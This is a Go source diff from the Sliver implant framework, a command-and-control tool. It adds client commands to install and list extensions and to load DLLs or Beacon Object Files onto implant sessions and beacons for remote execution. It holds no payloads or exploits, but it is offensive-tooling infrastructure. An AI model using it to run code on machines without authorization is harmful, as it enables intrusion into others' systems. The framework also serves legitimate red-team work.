along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ExtensionsInstallCmd - Install an extension
|
||||
func ExtensionsInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
extLocalPath := ctx.Args.String("path")
|
||||
fi, err := os.Stat(extLocalPath)
|
||||
if os.IsNotExist(err) {
|
||||
con.PrintErrorf("Extension path '%s' does not exist", extLocalPath)
|
||||
return
|
||||
}
|
||||
if !fi.IsDir() {
|
||||
InstallFromFilePath(extLocalPath, false, con)
|
||||
} else {
|
||||
installFromDir(extLocalPath, con)
|
||||
}
|
||||
}
|
||||
|
||||
// Install an extension from a directory
|
||||
func installFromDir(extLocalPath string, con *console.SliverConsoleClient) {
|
||||
manifestData, err := ioutil.ReadFile(filepath.Join(extLocalPath, ManifestFileName))
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error reading %s: %s", ManifestFileName, err)
|
||||
return
|
||||
}
|
||||
manifest, err := ParseExtensionManifest(manifestData)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error parsing %s: %s", ManifestFileName, err)
|
||||
return
|
||||
}
|
||||
installPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifest.CommandName))
|
||||
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
|
||||
con.PrintInfof("Extension '%s' already exists", manifest.CommandName)
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite current install?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
forceRemoveAll(installPath)
|
||||
}
|
||||
|
||||
con.PrintInfof("Installing extension '%s' (%s) ... ", manifest.CommandName, manifest.Version)
|
||||
err = os.MkdirAll(installPath, 0o700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nError creating extension directory: %s\n", err)
|
||||
return
|
||||
}
|
||||
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
|
||||
forceRemoveAll(installPath)
|
||||
return
|
||||
}
|
||||
|
||||
for _, manifestFile := range manifest.Files {
|
||||
if manifestFile.Path != "" {
|
||||
src := filepath.Join(extLocalPath, util.ResolvePath(manifestFile.Path))
|
||||
dst := filepath.Join(installPath, util.ResolvePath(manifestFile.Path))
|
||||
err := util.CopyFile(src, dst)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nError copying file '%s' -> '%s': %s\n", src, dst, err)
|
||||
forceRemoveAll(installPath)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// InstallFromFilePath - Install an extension from a .tar.gz file
|
||||
func InstallFromFilePath(extLocalPath string, autoOverwrite bool, con *console.SliverConsoleClient) *string {
|
||||
manifestData, err := util.ReadFileFromTarGz(extLocalPath, fmt.Sprintf("./%s", ManifestFileName))
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to read %s from '%s': %s\n", ManifestFileName, extLocalPath, err)
|
||||
return nil
|
||||
}
|
||||
manifest, err := ParseExtensionManifest(manifestData)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to parse %s: %s\n", ManifestFileName, err)
|
||||
return nil
|
||||
}
|
||||
installPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifest.CommandName))
|
||||
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
|
||||
if !autoOverwrite {
|
||||
con.PrintInfof("Extension '%s' already exists\n", manifest.CommandName)
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite current install?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
forceRemoveAll(installPath)
|
||||
}
|
||||
|
||||
con.PrintInfof("Installing extension '%s' (%s) ... ", manifest.CommandName, manifest.Version)
|
||||
err = os.MkdirAll(installPath, 0o700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to create extension directory: %s\n", err)
|
||||
return nil
|
||||
}
|
||||
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
|
||||
forceRemoveAll(installPath)
|
||||
return nil
|
||||
}
|
||||
for _, manifestFile := range manifest.Files {
|
||||
if manifestFile.Path != "" {
|
||||
err = installArtifact(extLocalPath, installPath, manifestFile.Path, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to install file: %s\n", err)
|
||||
forceRemoveAll(installPath)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
}
|
||||
con.Printf("done!\n")
|
||||
return &installPath
|
||||
}
|
||||
|
||||
func installArtifact(extGzFilePath string, installPath string, artifactPath string, con *console.SliverConsoleClient) error {
|
||||
data, err := util.ReadFileFromTarGz(extGzFilePath, "."+artifactPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if len(data) == 0 {
|
||||
return fmt.Errorf("archive path '%s' is empty", "."+artifactPath)
|
||||
}
|
||||
localArtifactPath := filepath.Join(installPath, util.ResolvePath(artifactPath))
|
||||
artifactDir := filepath.Dir(localArtifactPath)
|
||||
if _, err := os.Stat(artifactDir); os.IsNotExist(err) {
|
||||
err := os.MkdirAll(artifactDir, 0o700)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
err = ioutil.WriteFile(localArtifactPath, data, 0o600)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,54 @@
|
||||
package extensions
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ExtensionsListCmd - List all extension loaded on the active session/beacon
|
||||
func ExtensionsListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if extList.Response != nil && extList.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", extList.Response.Err)
|
||||
return
|
||||
}
|
||||
if len(extList.Names) > 0 {
|
||||
con.PrintInfof("Loaded extensions:\n")
|
||||
for _, ext := range extList.Names {
|
||||
con.Printf("- %s\n", ext)
|
||||
}
|
||||
}
|
||||
}
|
||||
+200
-158
@@ -1,5 +1,23 @@
|
||||
package extensions
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
@@ -12,38 +30,49 @@ import (
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultTimeout = 60
|
||||
|
||||
// ManifestFileName - Extension manifest file name
|
||||
ManifestFileName = "extension.json"
|
||||
)
|
||||
|
||||
var commandMap map[string]extensionCommand
|
||||
var loadedExtensions = map[string]*ExtensionManifest{}
|
||||
|
||||
type extensionCommand struct {
|
||||
Name string `json:"name"`
|
||||
Help string `json:"help"`
|
||||
Files []extensionFiles `json:"extFiles"`
|
||||
Arguments []extensionArgument `json:"arguments"`
|
||||
Entrypoint string `json:"entrypoint"`
|
||||
DependsOn string `json:"dependsOn"`
|
||||
Init string `json:"init"`
|
||||
Path string
|
||||
}
|
||||
type binFiles struct {
|
||||
Ext64Path string `json:"x64"`
|
||||
Ext32Path string `json:"x86"`
|
||||
type ExtensionManifest struct {
|
||||
Name string `json:"name"`
|
||||
CommandName string `json:"command_name"`
|
||||
Version string `json:"version"`
|
||||
ExtensionAuthor string `json:"extension_author"`
|
||||
OriginalAuthor string `json:"original_author"`
|
||||
RepoURL string `json:"repo_url"`
|
||||
Help string `json:"help"`
|
||||
LongHelp string `json:"long_help"`
|
||||
Files []*extensionFile `json:"files"`
|
||||
Arguments []*extensionArgument `json:"arguments"`
|
||||
Entrypoint string `json:"entrypoint"`
|
||||
DependsOn string `json:"depends_on"`
|
||||
Init string `json:"init"`
|
||||
|
||||
RootPath string `json:"-"`
|
||||
}
|
||||
|
||||
type extensionFiles struct {
|
||||
OS string `json:"os"`
|
||||
Files binFiles `json:"files"`
|
||||
type extensionFile struct {
|
||||
OS string `json:"os"`
|
||||
Arch string `json:"arch"`
|
||||
Path string `json:"path"`
|
||||
}
|
||||
|
||||
type extensionArgument struct {
|
||||
@@ -53,67 +82,100 @@ type extensionArgument struct {
|
||||
Optional bool `json:"optional"`
|
||||
}
|
||||
|
||||
func (e *extensionCommand) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
|
||||
for _, ef := range e.Files {
|
||||
if targetOS == ef.OS {
|
||||
switch targetArch {
|
||||
case "386":
|
||||
filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext32Path)
|
||||
case "amd64":
|
||||
filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext64Path)
|
||||
default:
|
||||
filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext64Path)
|
||||
}
|
||||
func (e *ExtensionManifest) getFileForTarget(cmdName string, targetOS string, targetArch string) (string, error) {
|
||||
filePath := ""
|
||||
for _, extFile := range e.Files {
|
||||
if targetOS == extFile.OS && targetArch == extFile.Arch {
|
||||
filePath = path.Join(assets.GetExtensionsDir(), e.CommandName, extFile.Path)
|
||||
break
|
||||
}
|
||||
}
|
||||
if filePath == "" {
|
||||
err = fmt.Errorf("no extension file found for %s/%s", targetOS, targetArch)
|
||||
err := fmt.Errorf("no extension file found for %s/%s", targetOS, targetArch)
|
||||
return "", err
|
||||
}
|
||||
return
|
||||
if _, err := os.Stat(filePath); os.IsNotExist(err) {
|
||||
err = fmt.Errorf("extension file not found: %s", filePath)
|
||||
return "", err
|
||||
}
|
||||
return filePath, nil
|
||||
}
|
||||
|
||||
func LoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
// ExtensionLoadCmd - Load extension command
|
||||
func ExtensionLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
dirPath := ctx.Args.String("dir-path")
|
||||
extCmds, err := ParseExtensions(dirPath)
|
||||
extCmd, err := LoadExtensionManifest(filepath.Join(dirPath, ManifestFileName))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
// do not add if the command already exists
|
||||
if CmdExists(extCmd.CommandName, con.App) {
|
||||
con.PrintErrorf("%s command already exists\n", extCmd.CommandName)
|
||||
return
|
||||
}
|
||||
ExtensionRegisterCommand(extCmd, con)
|
||||
con.PrintInfof("Added %s command: %s\n", extCmd.CommandName, extCmd.Help)
|
||||
}
|
||||
|
||||
for _, extCmd := range extCmds {
|
||||
// do not add if the command already exists
|
||||
if cmdExists(extCmd.Name, con.App) {
|
||||
con.PrintErrorf("%s command already exists\n", extCmd.Name)
|
||||
continue
|
||||
// LoadExtensionManifest - Parse extension files
|
||||
func LoadExtensionManifest(manifestPath string) (*ExtensionManifest, error) {
|
||||
data, err := ioutil.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
extManifest, err := ParseExtensionManifest(data)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
extManifest.RootPath = filepath.Dir(manifestPath)
|
||||
loadedExtensions[extManifest.CommandName] = extManifest
|
||||
return extManifest, nil
|
||||
}
|
||||
|
||||
// ParseExtensionManifest - Parse extension manifest from buffer
|
||||
func ParseExtensionManifest(data []byte) (*ExtensionManifest, error) {
|
||||
extManifest := &ExtensionManifest{}
|
||||
err := json.Unmarshal(data, &extManifest)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if extManifest.Name == "" {
|
||||
return nil, errors.New("missing `name` field in extension manifest")
|
||||
}
|
||||
if extManifest.CommandName == "" {
|
||||
return nil, errors.New("missing `command_name` field in extension manifest")
|
||||
}
|
||||
if len(extManifest.Files) == 0 {
|
||||
return nil, errors.New("missing `files` field in extension manifest")
|
||||
}
|
||||
for _, extFiles := range extManifest.Files {
|
||||
if extFiles.OS == "" {
|
||||
return nil, errors.New("missing `files.os` field in extension manifest")
|
||||
}
|
||||
RegisterExtensionCommand(extCmd, con)
|
||||
con.PrintInfof("Added %s command: %s\n", extCmd.Name, extCmd.Help)
|
||||
if extFiles.Arch == "" {
|
||||
return nil, errors.New("missing `files.arch` field in extension manifest")
|
||||
}
|
||||
extFiles.Path = util.ResolvePath(extFiles.Path)
|
||||
if extFiles.Path == "" || extFiles.Path == "/" {
|
||||
return nil, errors.New("missing `files.path` field in extension manifest")
|
||||
}
|
||||
extFiles.OS = strings.ToLower(extFiles.OS)
|
||||
extFiles.Arch = strings.ToLower(extFiles.Arch)
|
||||
}
|
||||
if extManifest.Help == "" {
|
||||
return nil, errors.New("missing `help` field in extension manifest")
|
||||
}
|
||||
return extManifest, nil
|
||||
}
|
||||
|
||||
func ParseExtensions(extPath string) ([]*extensionCommand, error) {
|
||||
manifestPath := filepath.Join(extPath, "manifest.json")
|
||||
jsonBytes, err := ioutil.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
extensionsCmds := make([]*extensionCommand, 0)
|
||||
err = json.Unmarshal(jsonBytes, &extensionsCmds)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, extCmd := range extensionsCmds {
|
||||
extCmd.Path = extPath
|
||||
commandMap[extCmd.Name] = *extCmd
|
||||
}
|
||||
return extensionsCmds, nil
|
||||
}
|
||||
|
||||
func RegisterExtensionCommand(extCmd *extensionCommand, con *console.SliverConsoleClient) {
|
||||
commandMap[extCmd.Name] = *extCmd
|
||||
// ExtensionRegisterCommand - Register a new extension command
|
||||
func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverConsoleClient) {
|
||||
loadedExtensions[extCmd.CommandName] = extCmd
|
||||
helpMsg := extCmd.Help
|
||||
extensionCmd := &grumble.Command{
|
||||
Name: extCmd.Name,
|
||||
Help: helpMsg,
|
||||
Name: extCmd.CommandName,
|
||||
Help: helpMsg,
|
||||
LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
|
||||
Run: func(extCtx *grumble.Context) error {
|
||||
con.Println()
|
||||
runExtensionCmd(extCtx, con)
|
||||
@@ -121,11 +183,11 @@ func RegisterExtensionCommand(extCmd *extensionCommand, con *console.SliverConso
|
||||
return nil
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Bool("s", "save", false, "Save output to disk")
|
||||
// f.Bool("s", "save", false, "Save output to disk")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
if len(extCmd.Arguments) > 0 {
|
||||
if 0 < len(extCmd.Arguments) {
|
||||
// BOF specific
|
||||
for _, arg := range extCmd.Arguments {
|
||||
var (
|
||||
@@ -133,12 +195,15 @@ func RegisterExtensionCommand(extCmd *extensionCommand, con *console.SliverConso
|
||||
defaultValue grumble.ArgOption
|
||||
)
|
||||
switch arg.Type {
|
||||
case "int", "short":
|
||||
case "int", "integer", "short":
|
||||
argFunc = a.Int
|
||||
defaultValue = grumble.Default(0)
|
||||
case "string", "wstring", "file":
|
||||
argFunc = a.String
|
||||
defaultValue = grumble.Default("")
|
||||
default:
|
||||
con.PrintErrorf("Invalid argument type: %s\n", arg.Type)
|
||||
return
|
||||
}
|
||||
if arg.Optional {
|
||||
argFunc(arg.Name, arg.Desc, defaultValue)
|
||||
@@ -155,53 +220,26 @@ func RegisterExtensionCommand(extCmd *extensionCommand, con *console.SliverConso
|
||||
con.App.AddCommand(extensionCmd)
|
||||
}
|
||||
|
||||
func ListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s", err)
|
||||
return
|
||||
}
|
||||
|
||||
if extList.Response != nil && extList.Response.Err != "" {
|
||||
con.PrintErrorf("Error: %s", extList.Response.Err)
|
||||
return
|
||||
}
|
||||
if len(extList.Names) > 0 {
|
||||
con.PrintInfof("Loaded extensions:\n")
|
||||
for _, ext := range extList.Names {
|
||||
con.Printf("- %s\n", ext)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console.SliverConsoleClient, ext *extensionCommand) error {
|
||||
func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionManifest, ctx *grumble.Context, con *console.SliverConsoleClient) error {
|
||||
var extensionList []string
|
||||
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
|
||||
binPath, err := ext.getFileForTarget(ctx.Command.Name, goos, goarch)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// Try to find the extension in the loaded extensions
|
||||
if len(session.Extensions) == 0 {
|
||||
if checkCache {
|
||||
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s\n", err.Error())
|
||||
con.PrintErrorf("List extensions error: %s\n", err.Error())
|
||||
return err
|
||||
}
|
||||
if extList.Response != nil && extList.Response.Err != "" {
|
||||
return errors.New(extList.Response.Err)
|
||||
}
|
||||
extensionList = extList.Names
|
||||
} else {
|
||||
extensionList = session.Extensions
|
||||
}
|
||||
depLoaded := false
|
||||
for _, extName := range extensionList {
|
||||
@@ -217,7 +255,7 @@ func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console
|
||||
// BOFs are not loaded by the DLL loader, but we make sure the loader itself is loaded
|
||||
// Auto load the coff loader if we have it
|
||||
if !depLoaded {
|
||||
if errLoad := loadDep(session, con, ctx, ext.DependsOn); errLoad != nil {
|
||||
if errLoad := loadDep(goos, goarch, ext.DependsOn, ctx, con); errLoad != nil {
|
||||
return errLoad
|
||||
}
|
||||
}
|
||||
@@ -227,31 +265,17 @@ func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if errRegister := registerExtension(con, ext, binData, session, ctx); errRegister != nil {
|
||||
if errRegister := registerExtension(goos, ext, binData, ctx, con); errRegister != nil {
|
||||
return errRegister
|
||||
}
|
||||
// Update session info
|
||||
if filepath.Ext(binPath) != ".o" {
|
||||
// Don't update session for BOFs, we don't cache them
|
||||
// on the implant side (yet)
|
||||
// update the Session info
|
||||
_, err = con.Rpc.UpdateSession(context.Background(), &clientpb.UpdateSession{
|
||||
Extensions: extensionList,
|
||||
SessionID: session.ID,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s\n", err.Error())
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func registerExtension(con *console.SliverConsoleClient, ext *extensionCommand, binData []byte, session *clientpb.Session, ctx *grumble.Context) error {
|
||||
func registerExtension(goos string, ext *ExtensionManifest, binData []byte, ctx *grumble.Context, con *console.SliverConsoleClient) error {
|
||||
registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
|
||||
Name: ext.Name,
|
||||
Name: ext.CommandName,
|
||||
Data: binData,
|
||||
OS: session.OS,
|
||||
OS: goos,
|
||||
Init: ext.Init,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
@@ -264,10 +288,10 @@ func registerExtension(con *console.SliverConsoleClient, ext *extensionCommand,
|
||||
return nil
|
||||
}
|
||||
|
||||
func loadDep(session *clientpb.Session, con *console.SliverConsoleClient, ctx *grumble.Context, depName string) error {
|
||||
depExt, f := commandMap[depName]
|
||||
if f {
|
||||
depBinPath, err := depExt.getFileForTarget(depExt.Name, session.OS, session.Arch)
|
||||
func loadDep(goos string, goarch string, depName string, ctx *grumble.Context, con *console.SliverConsoleClient) error {
|
||||
depExt, ok := loadedExtensions[depName]
|
||||
if ok {
|
||||
depBinPath, err := depExt.getFileForTarget(depExt.CommandName, goos, goarch)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -275,47 +299,47 @@ func loadDep(session *clientpb.Session, con *console.SliverConsoleClient, ctx *g
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return registerExtension(con, &depExt, depBinData, session, ctx)
|
||||
return registerExtension(goos, depExt, depBinData, ctx, con)
|
||||
}
|
||||
return fmt.Errorf("missing dependency %s", depName)
|
||||
}
|
||||
|
||||
func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var (
|
||||
callExtension *sliverpb.CallExtension
|
||||
err error
|
||||
extensionArgs []byte
|
||||
extName string
|
||||
entryPoint string
|
||||
)
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
var goos string
|
||||
var goarch string
|
||||
if session != nil {
|
||||
goos = session.OS
|
||||
goarch = session.Arch
|
||||
} else {
|
||||
goos = beacon.OS
|
||||
goarch = beacon.Arch
|
||||
}
|
||||
|
||||
ext, ok := commandMap[ctx.Command.Name]
|
||||
ext, ok := loadedExtensions[ctx.Command.Name]
|
||||
if !ok {
|
||||
con.PrintErrorf("No extension command found for `%s` command\n", ctx.Command.Name)
|
||||
return
|
||||
}
|
||||
|
||||
if err = loadExtension(ctx, session, con, &ext); err != nil {
|
||||
checkCache := session != nil
|
||||
if err = loadExtension(goos, goarch, checkCache, ext, ctx, con); err != nil {
|
||||
con.PrintErrorf("Could not load extension: %s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
var outFilePath *os.File
|
||||
if ctx.Flags.Bool("save") {
|
||||
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
|
||||
outFilePath, err = ioutil.TempFile("", outFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
|
||||
binPath, err := ext.getFileForTarget(ctx.Command.Name, goos, goarch)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
con.PrintErrorf("Failed to read extension file: %s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
@@ -330,22 +354,23 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
// Beacon Object File -- requires a COFF loader
|
||||
extensionArgs, err = getBOFArgs(ctx, binPath, ext)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s\n", err)
|
||||
con.PrintErrorf("BOF args error: %s\n", err)
|
||||
return
|
||||
}
|
||||
extName = ext.DependsOn
|
||||
entryPoint = commandMap[extName].Entrypoint // should exist at this point
|
||||
entryPoint = loadedExtensions[extName].Entrypoint // should exist at this point
|
||||
} else {
|
||||
// Regular DLL
|
||||
extArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
|
||||
extensionArgs = []byte(extArgs)
|
||||
extName = ext.Name
|
||||
extName = ext.CommandName
|
||||
entryPoint = ext.Entrypoint
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s ...", ctx.Command.Name)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
callExtension, err = con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
|
||||
callExtResp, err := con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
|
||||
Name: extName,
|
||||
Export: entryPoint,
|
||||
Args: extensionArgs,
|
||||
@@ -354,24 +379,42 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s\n", err.Error())
|
||||
con.PrintErrorf("Call extension error: %s\n", err.Error())
|
||||
return
|
||||
}
|
||||
if callExtension.Response != nil && callExtension.Response.Err != "" {
|
||||
con.PrintErrorf("Error: %s\n", callExtension.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Successfully executed %s\n", extName)
|
||||
if len(callExtension.Output) > 0 {
|
||||
con.PrintInfof("Got output:\n%s", string(callExtension.Output))
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write(callExtension.Output)
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
|
||||
if callExtResp.Response != nil && callExtResp.Response.Async {
|
||||
con.AddBeaconCallback(callExtResp.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, callExtResp)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode call ext response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintExtOutput(extName, ext.CommandName, callExtResp, con)
|
||||
})
|
||||
con.PrintAsyncResponse(callExtResp.Response)
|
||||
} else {
|
||||
PrintExtOutput(extName, ext.CommandName, callExtResp, con)
|
||||
}
|
||||
}
|
||||
|
||||
func getBOFArgs(ctx *grumble.Context, binPath string, ext extensionCommand) ([]byte, error) {
|
||||
// PrintExtOutput - Print the ext execution output
|
||||
func PrintExtOutput(extName string, commandName string, callExtension *sliverpb.CallExtension, con *console.SliverConsoleClient) {
|
||||
if extName == commandName {
|
||||
con.PrintInfof("Successfully executed %s\n", extName)
|
||||
} else {
|
||||
con.PrintInfof("Successfully executed %s (%s)\n", commandName, extName)
|
||||
}
|
||||
if 0 < len(string(callExtension.Output)) {
|
||||
con.PrintInfof("Got output:\n%s\n", callExtension.Output)
|
||||
}
|
||||
if callExtension.Response != nil && callExtension.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", callExtension.Response.Err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([]byte, error) {
|
||||
var extensionArgs []byte
|
||||
binData, err := ioutil.ReadFile(binPath)
|
||||
if err != nil {
|
||||
@@ -383,6 +426,8 @@ func getBOFArgs(ctx *grumble.Context, binPath string, ext extensionCommand) ([]b
|
||||
// Parse BOF arguments from grumble
|
||||
for _, arg := range ext.Arguments {
|
||||
switch arg.Type {
|
||||
case "integer":
|
||||
fallthrough
|
||||
case "int":
|
||||
val := ctx.Args.Int(arg.Name)
|
||||
err = argsBuffer.AddInt(uint32(val))
|
||||
@@ -449,7 +494,8 @@ func getBOFArgs(ctx *grumble.Context, binPath string, ext extensionCommand) ([]b
|
||||
|
||||
}
|
||||
|
||||
func cmdExists(name string, app *grumble.App) bool {
|
||||
// CmdExists - checks if a command exists
|
||||
func CmdExists(name string, app *grumble.App) bool {
|
||||
for _, c := range app.Commands().All() {
|
||||
if name == c.Name {
|
||||
return true
|
||||
@@ -457,7 +503,3 @@ func cmdExists(name string, app *grumble.App) bool {
|
||||
}
|
||||
return false
|
||||
}
|
